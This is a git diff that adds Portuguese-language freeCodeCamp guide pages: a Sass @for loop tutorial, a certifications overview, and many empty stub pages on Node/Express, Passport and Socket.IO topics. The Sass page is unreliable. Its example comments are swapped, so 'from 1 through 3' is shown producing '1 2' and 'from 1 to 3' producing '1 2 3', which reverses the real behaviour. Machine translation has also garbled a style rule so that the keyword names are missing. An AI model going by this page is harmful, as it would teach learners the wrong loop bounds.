+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md
@@ -0,0 +1,66 @@
+---
+title: Use @for to Create a Sass Loop
+localeTitle: Use @for para criar um loop Sass
+---
+## Use @for para criar um loop Sass
+
+1.  A sintaxe básica do `@for` loop no SASS:
+
+*   For-through loop:
+
+```sass
+@for $i from <start number> through <end number> { 
+  // some CSS 
+ } 
+```
+
+*   Para - para loop:
+
+```sass
+@for $i from <start number> to <end number> { 
+  // some CSS 
+ } 
+```
+
+Observe que a principal diferença é que "início ao fim" **exclui** o número final e "início até o fim" **inclui** o número final.
+
+2.  Por exemplo:
+
+*   For-through loop:
+
+```sass
+@for $i from 1 through 3 { 
+  // some CSS 
+ } 
+ 
+ // 1 2 
+```
+
+*   Para - para loop:
+
+```sass
+@for $i from 1 to 3 { 
+  // some CSS 
+ } 
+ 
+ // 1 2 3 
+```
+
+3.  Diretriz da [diretriz SASS](https://sass-guidelin.es/#loops)
+
+O loop `@for` pode ser útil quando combinado com pseudo-classes CSS `:nth-*` . Exceto para esses cenários, prefira um loop `@each` se você tiver que iterar sobre algo.
+
+```sass
+@for $i from 1 through 10 { 
+  .foo:nth-of-type(#{$i}) { 
+    border-color: hsl($i * 36, 50%, 50%); 
+  } 
+ } 
+```
+
+Sempre use `$i` como um nome de variável para manter a convenção usual e, a menos que você tenha uma boa razão para, nunca use a palavra-chave: use sempre. Muitos desenvolvedores nem sabem que o Sass oferece essa variação; usá-lo pode levar a confusão.
+
+Também não se esqueça de respeitar essas diretrizes para preservar a legibilidade:
+
+*   Sempre uma nova linha vazia antes de `@for` ;
+*   Sempre uma nova linha vazia após a chave de fechamento (}), a menos que a próxima linha seja uma chave de fechamento (}).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md
new file mode 100644
index 0000000000..168f16d21b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md
@@ -0,0 +1,9 @@
+---
+title: Use @if and @else to Add Logic To Your Styles
+localeTitle: Use @if e @else para adicionar lógica aos seus estilos
+---
+## Use @if e @else para adicionar lógica aos seus estilos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/index.md b/client/src/guide/portuguese/certifications/index.md
new file mode 100644
index 0000000000..494c636ede
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/index.md
@@ -0,0 +1,30 @@
+---
+title: Certifications
+localeTitle: Certificações
+---
+## Certificações
+
+### Visão geral
+
+Existem seis certificados freeCodeCamp:
+
+*   Web design responsivo
+*   Algoritmos e Estruturas de Dados
+*   Bibliotecas de front-end
+*   Visualização de dados
+*   APIs e microsserviços
+*   Segurança da Informação e Garantia de Qualidade
+
+Cada currículo de certificado deve levar aproximadamente 300 horas para ser concluído e inclui 5 projetos obrigatórios, enquanto outros desafios são opcionais.
+
+### O certificado de desenvolvimento de pilha completa
+
+Após a conclusão de todos os seis certificados, o certificado do [Programa de Desenvolvimento de Pilha Completa](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification/) freeCodeCamp será emitido. Essa distinção final significa a conclusão de aproximadamente 1.800 horas de codificação com exposição a uma ampla variedade de ferramentas de desenvolvimento da web.
+
+Para mais informações sobre freeCodeCamp, visite [about.freecodecamp.org](https://about.freecodecamp.org/) .
+
+Para mais informações sobre o novo programa de certificação, veja a postagem no fórum [aqui](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618) .
+
+### Associar a certificação de desenvolvedor do Android
+
+Uma ótima maneira de testar as habilidades do Android e certificar isso por ninguém menos que o Google. O link para a certificação e seus detalhes estão [aqui](https://developers.google.com/training/certification/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md
new file mode 100644
index 0000000000..5debb11361
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md
@@ -0,0 +1,9 @@
+---
+title: Announce New Users
+localeTitle: Anunciar novos usuários
+---
+## Anunciar novos usuários
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md
new file mode 100644
index 0000000000..66a3d167c0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md
@@ -0,0 +1,9 @@
+---
+title: Authentication Strategies
+localeTitle: Estratégias de Autenticação
+---
+## Estratégias de Autenticação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md
new file mode 100644
index 0000000000..33a4480944
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md
@@ -0,0 +1,9 @@
+---
+title: Authentication with Socket.IO
+localeTitle: Autenticação com Socket.IO
+---
+## Autenticação com Socket.IO
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md
new file mode 100644
index 0000000000..5f340341b6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md
@@ -0,0 +1,9 @@
+---
+title: Clean Up Your Project with Modules
+localeTitle: Limpe seu projeto com módulos
+---
+## Limpe seu projeto com módulos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md
new file mode 100644
index 0000000000..0344481129
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md
@@ -0,0 +1,9 @@
+---
+title: Communicate by Emitting
+localeTitle: Comunique-se emitindo
+---
+## Comunique-se emitindo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md
new file mode 100644
index 0000000000..4bb64fea8a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md
@@ -0,0 +1,9 @@
+---
+title: Create New Middleware
+localeTitle: Crie um novo middleware
+---
+## Crie um novo middleware
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md
new file mode 100644
index 0000000000..783f62c518
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md
@@ -0,0 +1,9 @@
+---
+title: Handle a Disconnect
+localeTitle: Lidar com uma desconexão
+---
+## Lidar com uma desconexão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md
new file mode 100644
index 0000000000..ce9cefbca6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md
@@ -0,0 +1,9 @@
+---
+title: Hashing Your Passwords
+localeTitle: Hashing suas senhas
+---
+## Hashing suas senhas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md
new file mode 100644
index 0000000000..47a636cfee
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Put a Profile Together
+localeTitle: Como colocar um perfil juntos
+---
+## Como colocar um perfil juntos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md
new file mode 100644
index 0000000000..7280bf638c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Use Passport Strategies
+localeTitle: Como usar estratégias de passaporte
+---
+## Como usar estratégias de passaporte
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md
new file mode 100644
index 0000000000..8681c46715
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md
@@ -0,0 +1,9 @@
+---
+title: Implement the Serialization of a Passport User
+localeTitle: Implementar a serialização de um usuário do Passport
+---
+## Implementar a serialização de um usuário do Passport
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md
new file mode 100644
index 0000000000..d76aac9165
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication II
+localeTitle: Implementação da Autenticação Social II
+---
+## Implementação da Autenticação Social II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md
new file mode 100644
index 0000000000..1e1b6cae7a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication III
+localeTitle: Implementação da Autenticação Social III
+---
+## Implementação da Autenticação Social III
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md
new file mode 100644
index 0000000000..1d3ed70a67
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication
+localeTitle: Implementação de Autenticação Social
+---
+## Implementação de Autenticação Social
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md
new file mode 100644
index 0000000000..6e071a9ec6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md
@@ -0,0 +1,11 @@
+---
+title: Advanced Node and Express
+localeTitle: Nó Avançado e Express
+---
+## Nó Avançado e Express
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md
new file mode 100644
index 0000000000..baa0158986
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md
@@ -0,0 +1,9 @@
+---
+title: Logging a User Out
+localeTitle: Como desconectar um usuário
+---
+## Como desconectar um usuário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md
new file mode 100644
index 0000000000..0942925571
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md
@@ -0,0 +1,23 @@
+---
+title: Registration of New Users
+localeTitle: Registro de novos usuários
+---
+## Registro de novos usuários
+
+Certifique-se de editar views / pug / profile.pug, linha 11:
+
+```pug
+h1.border.center FCC Advanced Node and Express 
+```
+
+para dentro
+
+```pug
+h1.border.center Profile Home 
+```
+
+ou então os testes não passariam
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md
new file mode 100644
index 0000000000..2b13621b87
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md
@@ -0,0 +1,9 @@
+---
+title: Send and Display Chat Messages
+localeTitle: Enviar e exibir mensagens de bate-papo
+---
+## Enviar e exibir mensagens de bate-papo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md
new file mode 100644
index 0000000000..327242f181
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md
@@ -0,0 +1,9 @@
+---
+title: Serialization of a User Object
+localeTitle: Serialização de um objeto de usuário
+---
+## Serialização de um objeto de usuário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md
new file mode 100644
index 0000000000..525993fa16
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up a Template Engine
+localeTitle: Configurar um mecanismo de modelo
+---
+## Configurar um mecanismo de modelo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md
new file mode 100644
index 0000000000..34a51f020a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up Passport
+localeTitle: Configurar Passaporte
+---
+## Configurar Passaporte
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md
new file mode 100644
index 0000000000..2e9175cf40
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up the Environment
+localeTitle: Configurar o ambiente
+---
+## Configurar o ambiente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md
new file mode 100644
index 0000000000..9d4b03ffb4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Template Engine's Powers
+localeTitle: Use os poderes de um motor de modelo
+---
+## Use os poderes de um motor de modelo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/index.md
new file mode 100644
index 0000000000..cd19e81693
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security and Quality Assurance
+localeTitle: Segurança da Informação e Garantia de Qualidade
+---
+## Segurança da Informação e Garantia de Qualidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md
new file mode 100644
index 0000000000..0807b89daf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md
@@ -0,0 +1,9 @@
+---
+title: Anonymous Message Board
+localeTitle: Quadro de mensagens anônimas
+---
+## Quadro de mensagens anônimas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md
new file mode 100644
index 0000000000..6301bcfc23
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security and Quality Assurance Projects
+localeTitle: Projetos de segurança da informação e garantia de qualidade
+---
+## Projetos de segurança da informação e garantia de qualidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md
new file mode 100644
index 0000000000..9b6a16099d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md
@@ -0,0 +1,9 @@
+---
+title: Issue Tracker
+localeTitle: Rastreador de problemas
+---
+## Rastreador de problemas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md
new file mode 100644
index 0000000000..9c78c98b89
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md
@@ -0,0 +1,9 @@
+---
+title: Metric-Imperial Converter
+localeTitle: Conversor Metric-Imperial
+---
+## Conversor Metric-Imperial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
